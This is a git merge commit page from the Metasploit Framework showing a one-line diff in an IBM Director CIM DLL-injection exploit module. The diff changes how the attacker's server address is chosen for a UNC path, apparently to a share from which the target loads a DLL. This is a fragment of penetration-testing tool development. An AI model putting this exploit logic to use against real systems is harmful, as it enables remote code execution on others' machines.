Merge branch 'ibm_director_cim_dllinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ibm_director_cim_dllinject
commit
817a7749c1
|
@ -277,7 +277,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
basename = rand_text_alpha(3)
|
basename = rand_text_alpha(3)
|
||||||
share_name = rand_text_alpha(3)
|
share_name = rand_text_alpha(3)
|
||||||
|
|
||||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
|
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||||
|
|
||||||
exploit_unc = "\\\\#{myhost}\\"
|
exploit_unc = "\\\\#{myhost}\\"
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue